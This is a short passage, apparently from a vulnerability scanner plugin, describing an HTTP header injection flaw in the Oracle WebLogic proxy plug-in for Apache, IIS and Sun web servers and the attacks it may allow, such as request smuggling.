injection vulnerability." );

"The remote web server is using the WebLogic plug-in for Apache, IIS,
or Sun web servers, a module included with Oracle (formerly BEA)
WebLogic Server and used to proxy requests from an HTTP server to
WebLogic. 

The version of this plug-in on the remote host is affected by an HTTP
injection vulnerability because it fails to sanitize request headers
of special characters, such as new lines, before passing them to
WebLogic application servers. 

An unauthenticated, remote attacker may be able to exploit this issue
to conduct a variety of attacks, such as trusted header injection and
HTTP request smuggling." );
